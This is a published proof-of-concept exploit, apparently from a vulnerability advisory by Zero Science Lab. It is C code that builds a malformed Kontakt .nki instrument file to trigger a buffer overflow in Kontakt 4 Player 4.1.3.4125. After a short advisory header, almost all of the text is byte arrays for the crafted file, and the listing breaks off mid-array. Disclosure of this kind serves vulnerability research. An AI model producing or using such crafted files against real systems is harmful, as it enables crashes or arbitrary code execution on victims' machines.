Native Instruments Kontakt 4 Player NKI File Syntactic Analysis BOF PoC
=======================================================================
Native Instruments Kontakt 4 Player NKI File Syntactic Analysis BOF PoC
=======================================================================
/*
Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC
Vendor: Native Instruments GmbH
Product web page: http://www.native-instruments.com
Affected version: 4.1.3.4125 (Standalone)
Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT
technology. Expanding the capabilities of its successful predecessor, the free
KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological
and musical limitations behind.
Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki"
files. The application fails in boundry checking of the user input resulting in a crash.
The attacker can leverage from this scenario to exectute arbitrary code on the affected
system. Failed attempts will result in denial of service.
Tested on: Microsoft Windows XP Professional SP3 (English)
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Advisory ID: ZSL-2010-4979
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4979.php
17.11.2010
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#define FN "Vaya_con_Dios.nki"
#define PSIZE 102556
void banner(void);
FILE *fp;
void banner()
{
printf("\n");
printf("------------------------------------------------------------\n\n");
printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n");
printf("\tCopyleft (c) 2010. Zero Science Lab\n\n");
printf("------------------------------------------------------------\n");
printf("\n");
}
char starter[] = {
0x12, 0x90, 0xA8, 0x7F, 0x6C, 0x08, 0x00, 0x00, 0x00, 0x01, 0x72, 0x2A, 0x01, 0x3E, 0x01, 0x00,
0xFF, 0x03, 0x01, 0x04, 0x34, 0x6E, 0x6F, 0x4B, 0xF2, 0x71, 0xE3, 0x4C, 0x3A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x09,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B,
0x74, 0x00, 0x00, 0x00, 0x00, 0x28, 0x6E, 0x75, 0x6C, 0x6C, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x34, 0x8D, 0x9A, 0x02, 0x1D, 0x10, 0x00, 0x00, 0x78, 0x01, 0xCD, 0x5A, 0x5B, 0x6F,
0x1B, 0xB7, 0x12, 0x7E, 0xEF, 0xAF, 0x08, 0xFC, 0x50, 0x9C, 0x3E, 0xD4, 0x5E, 0x49, 0xB6, 0x6C,
0xE3, 0xB4, 0x29, 0x62, 0x59, 0x6A, 0x84, 0xC8, 0xB1, 0x6A, 0x39, 0x42, 0x70, 0x5E, 0x04, 0x7A,
0x97, 0x92, 0x08, 0x53, 0xCB, 0xC5, 0x92, 0x6B, 0x4B, 0xFD, 0xF5, 0x9D, 0xD9, 0x0B, 0x6F, 0x32,
0x65, 0xD9, 0x49, 0x7A, 0x6C, 0xB4, 0xC8, 0xEE, 0xF2, 0xE3, 0x70, 0x66, 0x38, 0x33, 0x9C, 0x19,
0xEA, 0xB7, 0x3F, 0xD6, 0x2B, 0xFE, 0xEE, 0x81, 0xE6, 0x92, 0x89, 0xF4, 0xF7, 0x83, 0xD6, 0x61,
0x74, 0xF0, 0xC7, 0xFB, 0x9F, 0x7E, 0xFB, 0xD4, 0x9E, 0xF5, 0x44, 0xAA, 0x08, 0x4B, 0x69, 0xFE,
0x8E, 0xA5, 0x09, 0x5D, 0xC3, 0x58, 0xF7, 0xE0, 0x5D, 0x4A, 0x56, 0xF4, 0xF7, 0x83, 0xFF, 0xA4,
0x05, 0xE7, 0xBF, 0x1C, 0xBC, 0x53, 0x9B, 0x0C, 0xDE, 0x24, 0x4B, 0x17, 0x9C, 0xCE, 0xB2, 0x5C,
0x2C, 0x72, 0xB2, 0x3A, 0x30, 0xC4, 0xA2, 0xC3, 0x93, 0xE8, 0x00, 0x88, 0x8D, 0x09, 0x7C, 0xA7,
0x0A, 0xD6, 0x80, 0x97, 0x69, 0x4D, 0x83, 0x0B, 0x92, 0x8C, 0x8B, 0x7C, 0x41, 0x13, 0x98, 0x41,
0x78, 0x01, 0x84, 0x52, 0x71, 0x70, 0x64, 0x21, 0x14, 0xB9, 0xE3, 0xF4, 0x3A, 0xA3, 0x69, 0x08,
0x20, 0x57, 0x84, 0xF3, 0x1B, 0x12, 0xDF, 0x7F, 0x49, 0x99, 0x0A, 0x81, 0x48, 0xB1, 0x9E, 0xD0,
0x34, 0x91, 0x53, 0x26, 0x19, 0xD0, 0x0B, 0xC1, 0xE2, 0x22, 0x1F, 0x57, 0x02, 0xF4, 0x96, 0x24,
0x5D, 0xD0, 0xCF, 0x05, 0x4A, 0x52, 0xF1, 0x15, 0x39, 0x6C, 0x89, 0x42, 0x65, 0x85, 0xBA, 0x22,
0xF2, 0x5E, 0x03, 0x5A, 0x9D };
char body[] = {
0x56, 0x74, 0xDA, 0x76, 0x50, 0x0F, 0x82, 0x17, 0x2B, 0xB3, 0x1A, ////////////////////////////
0xA8, 0xC2, 0x19, 0xCE, 0x88, 0x91, 0x2A, 0x3A, 0x74, 0x86, 0x44, 0xCE, 0x16, 0x13, 0xF2, 0x40,
0xAF, 0x44, 0x62, 0xCD, 0xDF, 0x82, 0x7C, 0xB8, 0x93, 0xB0, 0x84, 0xA2, 0x63, 0xA2, 0x96, 0x52,
0x73, 0xE2, 0xA9, 0x10, 0x69, 0xF5, 0xC4, 0x2A, 0xCB, 0xA9, 0x94, 0x34, 0x99, 0x90, 0x55, 0xC6,
0x69, 0x10, 0xBC, 0x24, 0xF2, 0x82, 0xD2, 0x14, 0xD7, 0x36, 0x7B, 0xB2, 0x01, 0x3C, 0x6E, 0xCA,
0x91, 0xB3, 0x89, 0x1F, 0x0A, 0x25, 0x56, 0x44, 0x81, 0xC9, 0xE0, 0xD8, 0x58, 0xF0, 0x4D, 0xB6,
0x14, 0xE9, 0x06, 0x37, 0x4F, 0xB0, 0x98, 0xFE, 0x99, 0x8B, 0x22, 0x6B, 0xCC, 0x26, 0x02, 0xE6,
0x1A, 0xF3, 0x8A, 0x0E, 0xBB, 0xA5, 0x45, 0x34, 0x46, 0xB0, 0xB2, 0x65, 0xBC, 0x67, 0x9C, 0xCF,
0x04, 0x4F, 0xA8, 0x54, 0x8E, 0xB4, 0xC0, 0xFD, 0x9C, 0xE6, 0x37, 0x94, 0x53, 0x02, 0x42, 0x68,
0x51, 0x1B, 0xCE, 0x34, 0x2D, 0xB2, 0x86, 0x4D, 0x2B, 0xD7, 0x37, 0x22, 0x76, 0x8F, 0x1D, 0x52,
0x2B, 0x39, 0x20, 0x09, 0xBD, 0x65, 0xD6, 0xCE, 0xB4, 0xDC, 0xDD, 0xA5, 0xEB, 0x98, 0x17, 0xE8,
0x0B, 0xA5, 0x0C, 0x7A, 0xB1, 0x5F, 0x5B, 0x95, 0x16, 0x8C, 0x78, 0xA5, 0x4E, 0x2C, 0xC1, 0x6B,
0xEB, 0x41, 0x13, 0x07, 0xE7, 0xA9, 0xDF, 0x2C, 0x1D, 0x54, 0x9E, 0x73, 0xDB, 0x9F, 0xDC, 0x3A,
0xFA, 0x38, 0x0B, 0x7B, 0x48, 0x5A, 0xAC, 0x2E, 0x36, 0x8A, 0xCA, 0x7A, 0xDB, 0x6E, 0x85, 0x22,
0x5C, 0x33, 0xE4, 0x19, 0x8D, 0xCA, 0x49, 0x2A, 0x33, 0x21, 0x43, 0x16, 0xF3, 0x7A, 0x73, 0x54,
0x45, 0x6A, 0x11, 0x75, 0x4D, 0x95, 0x8B, 0xC7, 0x29, 0xE5, 0x22, 0x66, 0x6A, 0xA3, 0x19, 0xAB,
0x14, 0xD5, 0x6C, 0xCA, 0x92, 0x2D, 0x96, 0xDB, 0x90, 0xF6, 0xA9, 0xB3, 0x2B, 0x40, 0xE6, 0x13,
0x35, 0x14, 0xDC, 0x0D, 0x41, 0x0A, 0xF6, 0x68, 0xCB, 0x9B, 0x9C, 0xD0, 0x39, 0x29, 0xB8, 0x02,
0x08, 0xFC, 0x37, 0x79, 0x64, 0x2A, 0x5E, 0x6A, 0x5E, 0xEA, 0x5D, 0x6B, 0x98, 0x49, 0xE6, 0x09,
0x3A, 0x77, 0x4A, 0xF9, 0x38, 0x07, 0xB6, 0x49, 0x32, 0x61, 0x7F, 0x1B, 0xD9, 0xBA, 0xAD, 0xE3,
0x63, 0x77, 0x69, 0xCE, 0xEE, 0x72, 0x92, 0x6F, 0x86, 0x97, 0x9A, 0xA0, 0x37, 0x0E, 0x24, 0x20,
0xF6, 0x0D, 0x38, 0x59, 0x18, 0x8B, 0x3B, 0x73, 0x44, 0x5B, 0xA0, 0x27, 0x4C, 0x04, 0x17, 0x9A,
0x84, 0xE7, 0xA1, 0x71, 0xDC, 0x3D, 0x76, 0x3C, 0x1D, 0x3F, 0xCC, 0xD0, 0x2F, 0x66, 0xB2, 0x90,
0x18, 0x80, 0x67, 0x19, 0x18, 0xE4, 0x2C, 0x86, 0x68, 0x9C, 0x0B, 0xCE, 0x69, 0xEE, 0xD0, 0x2F,
0x24, 0x9D, 0xA8, 0xA4, 0xD7, 0x9B, 0x9D, 0xCE, 0xC0, 0x90, 0x9B, 0x80, 0xE5, 0xBB, 0x86, 0x46,
0xB5, 0xDA, 0xD1, 0xAC, 0xD5, 0xEE, 0x04, 0x81, 0x71, 0x7C, 0x7A, 0x45, 0xD6, 0x53, 0x2F, 0x76,
0x39, 0x2B, 0x12, 0x70, 0xFD, 0x11, 0x08, 0xEE, 0x30, 0xED, 0x2F, 0x48, 0x62, 0xC5, 0x1E, 0xAA,
0x30, 0x30, 0x4C, 0xD6, 0x7A, 0x39, 0x57, 0x7D, 0x32, 0xCE, 0x59, 0xA6, 0x60, 0xBC, 0x9F, 0x30,
0x65, 0x39, 0xB6, 0x8B, 0x62, 0xF3, 0xF5, 0x05, 0x05, 0x2D, 0x7B, 0x20, 0x4F, 0x8D, 0x2C, 0x59,
0x0F, 0x07, 0x5F, 0x9F, 0x02, 0xBA, 0xD4, 0xE4, 0x5E, 0xD4, 0x56, 0x24, 0xC3, 0xE5, 0x46, 0x4C,
0x2A, 0x47, 0x4C, 0x6F, 0xD1, 0x06, 0x26, 0xE2, 0x7B, 0x8B, 0x7D, 0x0F, 0x04, 0x9C, 0x4D, 0xF6,
0xE1, 0x0C, 0x0C, 0x05, 0x4F, 0x48, 0x3C, 0xEF, 0x26, 0xA2, 0xC8, 0x63, 0x63, 0x98, 0x1E, 0x41,
0x0B, 0xF8, 0x61, 0x95, 0x69, 0xDD, 0x7A, 0xA8, 0x22, 0xBB, 0x14, 0x8F, 0xE9, 0x15, 0x5B, 0x23,
0x41, 0x37, 0x96, 0x79, 0x48, 0x0A, 0x92, 0x8A, 0x1C, 0x61, 0x57, 0x24, 0x48, 0xCE, 0x80, 0xAA,
0x68, 0x14, 0x5A, 0xD6, 0xE0, 0xF6, 0x5C, 0x73, 0x52, 0x1A, 0xC1, 0xF3, 0xE4, 0x20, 0xA0, 0x06,
0x99, 0xAB, 0xF7, 0x61, 0x42, 0x79, 0xB9, 0xA8, 0xBC, 0x4E, 0xB9, 0x89, 0x26, 0x9E, 0xB4, 0x60,
0x4E, 0x7E, 0x26, 0xE0, 0x1B, 0x2F, 0xD8, 0xC8, 0x73, 0x10, 0xF0, 0xCF, 0x67, 0x21, 0x44, 0xC2,
0x7E, 0xFE, 0x4F, 0xA4, 0xD4, 0xF6, 0x00, 0x2F, 0x22, 0xDD, 0x11, 0x05, 0xA0, 0x0D, 0x9C, 0x5B,
0x37, 0xE2, 0x71, 0x2B, 0x45, 0x09, 0x82, 0x7B, 0xE8, 0xA0, 0xE9, 0x9E, 0xF8, 0xE1, 0x4D, 0xCF,
0xE7, 0xD5, 0xD3, 0x49, 0x46, 0xF3, 0xF9, 0x94, 0xD1, 0xC7, 0x6A, 0x2F, 0x76, 0xB0, 0x1B, 0x13,
0x35, 0x84, 0x40, 0x64, 0x23, 0xDA, 0x6E, 0xBC, 0x63, 0xA9, 0x54, 0x39, 0x24, 0x3E, 0xA9, 0xEA,
0xE5, 0x68, 0x0B, 0x26, 0x2E, 0xD6, 0x39, 0xA3, 0x9D, 0xE0, 0x19, 0x30, 0xE4, 0x13, 0x4B, 0x91,
0x6B, 0x2B, 0xF8, 0x84, 0xA9, 0xE7, 0xBD, 0x9B, 0x05, 0x18, 0xF0, 0x97, 0x9B, 0x91, 0x46, 0xEE,
0xA4, 0xDA, 0x23, 0xAA, 0xA5, 0x91, 0x6E, 0x1C, 0x30, 0xD4, 0x00, 0xD4, 0xDE, 0x07, 0x64, 0x82,
0x66, 0x45, 0xC9, 0x4D, 0x88, 0x2A, 0xD5, 0x49, 0x94, 0xCE, 0xCD, 0x8D, 0xAE, 0x44, 0x9E, 0x2D,
0x2B, 0xB3, 0xC4, 0xC1, 0xF2, 0x15, 0xFC, 0xAC, 0x44, 0xBE, 0x3E, 0x6F, 0xC2, 0x64, 0x42, 0x33,
0xFD, 0x33, 0x57, 0xFF, 0x35, 0xF2, 0xBC, 0x77, 0xA2, 0x35, 0x1E, 0x24, 0x1A, 0xF8, 0x23, 0x12,
0xAC, 0x8E, 0x9B, 0xF6, 0xFE, 0xF8, 0x04, 0x6B, 0x98, 0x4A, 0x9A, 0xAB, 0xC1, 0xD7, 0x2A, 0xCF,
0xEA, 0xCF, 0xE7, 0x34, 0x56, 0x4D, 0x9A, 0x75, 0x0A, 0xA2, 0x9A, 0x54, 0xB3, 0x2A, 0x3E, 0x9A,
0xC3, 0xDF, 0x0A, 0x9B, 0x5A, 0x21, 0x9E, 0x1F, 0xC4, 0x9C, 0x48, 0x19, 0x3C, 0xED, 0xEF, 0x36,
0x19, 0x0C, 0x87, 0xE6, 0x42, 0xF4, 0x1E, 0xD1, 0x07, 0x6A, 0x12, 0xB4, 0x96, 0x9B, 0x2A, 0x35,
0xE3, 0x97, 0xB9, 0x09, 0x4D, 0x1E, 0x44, 0x42, 0x99, 0x32, 0xF8, 0x7A, 0x5D, 0x28, 0x48, 0xB5,
0x15, 0xC3, 0xE4, 0x5A, 0x2F, 0x56, 0x47, 0x02, 0x2C, 0x64, 0xCA, 0x55, 0x64, 0x58, 0x4E, 0x8E,
0x5C, 0xCC, 0x4C, 0x2E, 0xE0, 0x2D, 0x52, 0x0D, 0x1B, 0xB7, 0x78, 0x72, 0xD8, 0x38, 0xC4, 0x93,
0xC3, 0xC6, 0x15, 0x9E, 0x1C, 0x3E, 0xD6, 0x6C, 0x3F, 0x39, 0x7C, 0xB2, 0x7B, 0x18, 0x8A, 0xCC,
0xBA, 0xEC, 0x7A, 0x72, 0x36, 0x6E, 0x71, 0x55, 0x95, 0xD5, 0xC3, 0x47, 0x46, 0x29, 0x60, 0x12,
0x47, 0x90, 0x7B, 0x57, 0x36, 0x81, 0x2F, 0x75, 0x16, 0x6E, 0x99, 0x4C, 0xFD, 0x05, 0xE7, 0x0C,
0xBE, 0xA2, 0x43, 0x56, 0xAE, 0x59, 0x19, 0x53, 0xF9, 0xDC, 0xD8, 0x12, 0x68, 0xB0, 0x4A, 0xD9,
0xAB, 0xAF, 0xA8, 0x31, 0x63, 0x5A, 0xE7, 0xE1, 0xAC, 0xDD, 0xCB, 0xB4, 0x3D, 0x21, 0x76, 0xD4,
0x7D, 0xBB, 0x12, 0xED, 0x7B, 0xBA, 0xB9, 0xCD, 0xA1, 0xD0, 0x85, 0x3C, 0x48, 0xCB, 0xEF, 0x1F,
0x5B, 0x39, 0x6C, 0x7C, 0x6E, 0x15, 0x00, 0x9E, 0x71, 0x43, 0xC6, 0x8B, 0xF5, 0xD3, 0x2D, 0x54,
0x84, 0x0B, 0x48, 0x22, 0x1B, 0x2D, 0xEE, 0x44, 0x7D, 0x16, 0x0A, 0xCA, 0xD0, 0x54, 0x60, 0x71,
0xC7, 0x62, 0x3D, 0x67, 0x6B, 0x65, 0x2E, 0x91, 0x6C, 0x4F, 0x14, 0x29, 0x9C, 0x66, 0x1A, 0xE6,
0x46, 0x5C, 0x70, 0x00, 0xBF, 0x6C, 0xF6, 0xCE, 0xB7, 0x15, 0x4B, 0x58, 0x9D, 0x9F, 0x6B, 0x1A,
0x1E, 0xE4, 0x41, 0x57, 0x97, 0x21, 0xC4, 0x02, 0x13, 0xEE, 0xDD, 0x7D, 0x05, 0xE0, 0xE4, 0x06,
0xFE, 0x07, 0x5D, 0xCE, 0x8C, 0x1F, 0x44, 0xDE, 0x9F, 0x13, 0x45, 0xAD, 0x19, 0xC6, 0x35, 0xBC,
0x09, 0x5B, 0xAF, 0x21, 0x0A, 0xC6, 0x7B, 0xB6, 0xA6, 0x3C, 0xF3, 0x21, 0x44, 0xD1, 0x38, 0xDC,
0x33, 0x04, 0x9E, 0x1D, 0x0E, 0xAD, 0x60, 0x7C, 0xF6, 0x59, 0x12, 0x2F, 0x04, 0x84, 0x56, 0x34,
0x61, 0xE0, 0x85, 0x04, 0x5F, 0x0C, 0x0F, 0x71, 0x60, 0x22, 0xCD, 0x8B, 0x49, 0x7E, 0xE3, 0x84,
0x10, 0x47, 0x67, 0xDA, 0xE8, 0xBF, 0x71, 0x81, 0x6F, 0x9E, 0x1E, 0xE2, 0xF0, 0xFC, 0xCD, 0x70,
0xE8, 0x8B, 0x18, 0xE2, 0xD8, 0xAA, 0x9A, 0xFD, 0x29, 0x6F, 0xED, 0x3D, 0x28, 0x42, 0x38, 0x8A,
0xBD, 0x35, 0x11, 0x7C, 0x7E, 0x82, 0x22, 0xED, 0x1F, 0x66, 0x7D, 0x92, 0x6F, 0xED, 0x3D, 0x28,
0xE2, 0xEB, 0xCF, 0x81, 0xB7, 0x26, 0xA2, 0xCF, 0x4F, 0x50, 0xE4, 0xEF, 0x77, 0x50, 0xF9, 0x4B,
0xBE, 0xB5, 0xF7, 0xA0, 0x0A, 0x7E, 0xDC, 0x49, 0xFA, 0xD6, 0x54, 0xE0, 0xF3, 0x13, 0x54, 0xC9,
0xBF, 0x77, 0xD4, 0xFB, 0x2C, 0xBD, 0xB5, 0x77, 0x47, 0x45, 0xF3, 0x35, 0xF4, 0x59, 0xA0, 0xC3,
0x37, 0xC9, 0x38, 0x53, 0x63, 0xC1, 0x52, 0xA5, 0x0F, 0xD7, 0xAE, 0x03, 0x94, 0x90, 0xD9, 0xC7,
0xD0, 0x40, 0x1D, 0x88, 0xBC, 0x0F, 0x2D, 0x17, 0x8D, 0xF2, 0xD3, 0xF4, 0x06, 0x37, 0xAC, 0xFA,
0x81, 0x88, 0xB5, 0x7A, 0x2E, 0x5E, 0x21, 0xF0, 0x37, 0x34, 0xAE, 0x9A, 0x06, 0xD3, 0x10, 0x3B,
0x83, 0xD8, 0x0C, 0xC5, 0x26, 0x51, 0x90, 0x7C, 0xDD, 0xCB, 0xEA, 0x51, 0xCE, 0xA1, 0x3F, 0x65,
0x51, 0x76, 0xEB, 0x80, 0x1A, 0x36, 0xDA, 0xD5, 0xF3, 0xAF, 0x31, 0x1F, 0xBD, 0xD6, 0xBF, 0x4B,
0x68, 0xAF, 0x4E, 0x2E, 0x4B, 0xD6, 0xFB, 0x34, 0x5F, 0xA1, 0x6A, 0x10, 0x0F, 0xF4, 0x42, 0xAC,
0xAD, 0xEA, 0xDF, 0x2B, 0x3D, 0x40, 0xFF, 0x34, 0xCF, 0xFE, 0x2A, 0x08, 0xEC, 0x86, 0x29, 0xE1,
0x53, 0x91, 0xC3, 0x25, 0xA4, 0xB3, 0x1D, 0x2B, 0xE8, 0xE3, 0x9A, 0x5B, 0x2A, 0x4F, 0xAD, 0x70,
0x67, 0x27, 0xB6, 0x47, 0xDD, 0x5E, 0x92, 0xDB, 0x40, 0x1A, 0x73, 0xB2, 0x19, 0x0B, 0x79, 0x3D,
0x9F, 0x4B, 0xAA, 0xEC, 0x1A, 0x14, 0xDA, 0x1B, 0x58, 0xC0, 0x8E, 0x84, 0xC8, 0x82, 0x83, 0x65,
0xED, 0x3A, 0x51, 0xD0, 0x4F, 0x40, 0x28, 0x92, 0xBA, 0x83, 0x2A, 0x12, 0x7B, 0xDA, 0x86, 0x12,
0x5E, 0xF9, 0xC2, 0x60, 0xD3, 0x27, 0xC1, 0x3B, 0x5D, 0xBD, 0xC7, 0xD0, 0xCC, 0xA3, 0x64, 0x85,
0x55, 0x27, 0xCE, 0x6F, 0x20, 0x32, 0xA3, 0x96, 0x0C, 0x5E, 0x85, 0xCB, 0xE9, 0x82, 0xA8, 0xE0,
0x75, 0x87, 0xCC, 0xE0, 0x0A, 0x22, 0x1A, 0x30, 0x6E, 0x17, 0x8A, 0xEE, 0x95, 0x11, 0x5A, 0xDE,
0xA8, 0x6C, 0xA9, 0x4F, 0x9C, 0x75, 0x6A, 0x4D, 0x1E, 0xD9, 0x52, 0x00, 0x53, 0xA5, 0x88, 0x4D,
0x85, 0x8F, 0x5C, 0x0E, 0x53, 0x6C, 0xDA, 0x17, 0x1C, 0xB8, 0x28, 0x2F, 0x9C, 0xA1, 0x23, 0x50,
0x7D, 0xB2, 0x2A, 0x7B, 0xAB, 0x94, 0xAF, 0x2E, 0xE0, 0x6E, 0x09, 0xDC, 0x44, 0x2B, 0xBC, 0xBC,
0xAB, 0x9E, 0x0C, 0xD6, 0x92, 0x1B, 0xF4, 0x08, 0x20, 0xAD, 0x9C, 0xBA, 0xD2, 0xB7, 0x35, 0x83,
0x46, 0x92, 0x4A, 0xDB, 0x40, 0x3C, 0xED, 0x48, 0x2E, 0xF0, 0xC6, 0x43, 0xD3, 0xF0, 0x8C, 0x6C,
0xEE, 0x5C, 0x25, 0xB5, 0x5D, 0x83, 0x97, 0x2B, 0x21, 0xD4, 0x12, 0x36, 0xA3, 0x27, 0xE8, 0x5C,
0x53, 0x70, 0x31, 0x4E, 0x63, 0xB0, 0xFF, 0x79, 0x3A, 0xFB, 0xF0, 0xF1, 0x72, 0x72, 0x33, 0x9B,
0x5E, 0x8F, 0xBE, 0x5C, 0xF5, 0x9D, 0x4D, 0x0C, 0xDE, 0xAE, 0x1F, 0x55, 0x1A, 0x00, 0xB9, 0xEB,
0x27, 0xFB, 0xD6, 0x7E, 0x8F, 0x2E, 0xDA, 0xEE, 0x3E, 0x59, 0x4E, 0x95, 0xD7, 0x81, 0xD8, 0x0A,
0x53, 0x6C, 0x85, 0x9B, 0x47, 0x3F, 0xB5, 0x2F, 0x07, 0x97, 0x70, 0x15, 0x55, 0x6F, 0xA6, 0xDD,
0x0E, 0xF3, 0xA7, 0xEC, 0x6E, 0xDC, 0x3D, 0xAD, 0x93, 0x52, 0x19, 0xFD, 0x14, 0x9A, 0x65, 0x22,
0xA3, 0xF5, 0x2F, 0x19, 0xC8, 0x32, 0x91, 0xD8, 0xBF, 0xF0, 0x1B, 0x3D, 0x8D, 0xE1, 0x13, 0x75,
0xDF, 0x2B, 0xF2, 0x07, 0xBB, 0x0B, 0xF3, 0x6B, 0x74, 0xD8, 0xE9, 0xB4, 0xCE, 0xE1, 0xEF, 0xEC,
0xB4, 0xD3, 0xED, 0x9C, 0xB5, 0x4E, 0x3A, 0xAE, 0x39, 0x43, 0x87, 0x1F, 0x5C, 0xCE, 0x6C, 0x97,
0xDB, 0x16, 0x4C, 0x68, 0x4C, 0x4C, 0x34, 0x39, 0x89, 0xBC, 0x6B, 0xDD, 0x25, 0x5C, 0x87, 0x87,
0xA6, 0xD6, 0x0D, 0x1D, 0x3D, 0xDC, 0xF1, 0x27, 0xD7, 0xF7, 0x87, 0x1A, 0xE0, 0x99, 0x62, 0x0A,
0xCD, 0x1D, 0x08, 0x1C, 0x23, 0xF8, 0x69, 0x00, 0x06, 0x04, 0x0D, 0x6B, 0xFC, 0xAC, 0xD1, 0x0D,
0x1A, 0x82, 0xF6, 0x21, 0x7C, 0xF1, 0x1D, 0xAC, 0xBF, 0xDE, 0x72, 0xB8, 0xEA, 0x93, 0x71, 0x22,
0xA3, 0xD2, 0x3A, 0xDA, 0xFC, 0x30, 0x7F, 0x83, 0xED, 0x38, 0xEF, 0x9C, 0x46, 0x11, 0x6C, 0x47,
0x2B, 0x8A, 0xBA, 0x51, 0xCB, 0xED, 0x4F, 0xFF, 0xAB, 0xFE, 0xF7, 0x1D, 0xFC, 0xCD, 0x89, 0xC6,
0xB4, 0x54, 0xB4, 0x43, 0x55, 0xBA, 0x57, 0x85, 0x68, 0xCD, 0xE5, 0x6D, 0xBC, 0x1B, 0x94, 0xA0,
0x99, 0x4C, 0xF8, 0x14, 0xDB, 0xA6, 0x7A, 0x97, 0xBD, 0xC0, 0xB3, 0xDB, 0x69, 0xA5, 0x76, 0x49,
0x30, 0x0A, 0xFC, 0xF5, 0xC4, 0x2B, 0x7C, 0xD2, 0xF5, 0x0A, 0xC7, 0x27, 0xA7, 0xFD, 0x91, 0x1D,
0xA1, 0xCA, 0x1E, 0x6E, 0x29, 0x2A, 0x58, 0x1B, 0xF6, 0x73, 0xCB, 0xE7, 0xC6, 0x98, 0xEC, 0x46,
0xEC, 0x37, 0x18, 0x53, 0x56, 0xFE, 0x50, 0xC0, 0x55, 0x93, 0x1F, 0xBB, 0xA3, 0xC3, 0x56, 0x17,
0xFF, 0xC0, 0xB9, 0x8F, 0x4F, 0xCE, 0xDB, 0xF8, 0xE8, 0x2A, 0xFF, 0xBB, 0x07, 0xF3, 0x76, 0x7D,
0xA8, 0x37, 0x01, 0xC7, 0x51, 0x93, 0xB3, 0xF6, 0xEB, 0xC2, 0xF7, 0x0B, 0xCD, 0xA9, 0x54, 0xD2,
0x05, 0xF4, 0xCA, 0x9D, 0xA5, 0x19, 0xFC, 0xDA, 0xEA, 0xFF, 0x6F, 0x4F, 0xAE, 0x5F, 0x3B, 0x8A,
0x1A, 0x5F, 0xCC, 0xC6, 0xC3, 0xDB, 0xDE, 0xC7, 0x92, 0x6B, 0xC7, 0x9A, 0x8E, 0xFC, 0x58, 0x85,
0xA3, 0x65, 0x06, 0x81, 0x81, 0xAD, 0x7C, 0xC0, 0xD3, 0x0E, 0x6F, 0x6D, 0xF1, 0xDF, 0x23, 0xFD,
0x00, 0xB0, 0xFA, 0xEA, 0x00, 0x3F, 0xD7, 0x8F, 0x25, 0x04, 0x46, 0xF4, 0x2F, 0xE5, 0xDE, 0xFF,
0xF4, 0x0F, 0x39, 0xE0, 0x69, 0x7F, 0xAE, 0xE1, 0x0E, 0xB0, 0x01, 0x01, 0x0C, 0x00, 0xD9, 0x00,
0x00, 0x00 };
char tail[] = {
0x3C, 0x3F, 0x78, 0x6D, 0x6C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, //////////
0x22, 0x31, 0x2E, 0x30, 0x22, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x3D, 0x22,
0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x20, 0x73, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x6C, 0x6F, 0x6E,
0x65, 0x3D, 0x22, 0x6E, 0x6F, 0x22, 0x20, 0x3F, 0x3E, 0x0A, 0x3C, 0x73, 0x6F, 0x75, 0x6E, 0x64,
0x69, 0x6E, 0x66, 0x6F, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x22, 0x34, 0x30,
0x30, 0x22, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69,
0x65, 0x73, 0x2F, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,
0x74, 0x65, 0x73, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62,
0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x76, 0x61, 0x6C, 0x75,
0x65, 0x3E, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x72, 0x75, 0x6D,
0x65, 0x6E, 0x74, 0x3C, 0x2F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20,
0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x3C,
0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x3E, 0x0A, 0x0A, 0x3C, 0x2F,
